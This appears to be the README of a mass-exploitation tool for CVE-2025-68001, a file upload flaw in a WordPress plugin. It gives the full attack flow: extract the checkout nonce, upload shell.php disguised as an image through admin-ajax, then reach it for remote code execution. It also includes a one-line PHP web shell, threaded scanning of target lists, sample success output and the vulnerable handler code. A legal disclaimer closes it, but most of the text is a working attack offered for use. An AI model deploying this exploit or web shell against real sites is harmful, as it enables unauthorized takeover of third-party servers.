1. GET /checkout
      ↓
   从内联 JavaScript 数据中提取 `checkout_nonce`

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<提取的 nonce>
      document_type=document
      document=<伪装成 image/png 的 shell.php>
      ↓
   服务器存储文件，未进行扩展名或 MIME 校验

3. 解析 JSON 响应
      ↓
   提取上传文件路径 / 唯一文件名

4. 通过 HTTP 访问上传的 shell
      ↓
   实现远程代码执行 ✔️

pip install requests rich

CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

https://target1.com
https://target2.com
http://target3.com/wordpress

<?php system($_GET['cmd']); ?>

python CVE-2025-68001.py

Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

所有目标处理完毕 ✔️。结果保存至 success_results.txt

// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.

By using this script, you explicitly agree to the following:

  • You have EXPLICIT written permission from the target system owner.
  • You are operating in a controlled lab or authorized penetration testing engagement.
  • You will NOT use this tool against any system you do not own or have legal
    authorization to test.
  • The author (Nxploited) holds ZERO liability for any damage, data loss,
    legal consequences, or misuse resulting from this tool.

Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
  — Computer Fraud and Abuse Act (CFAA)
  — EU Directive on Attacks Against Information Systems
  — And equivalent laws in your jurisdiction.

USE RESPONSIBLY. HACK ETHICALLY.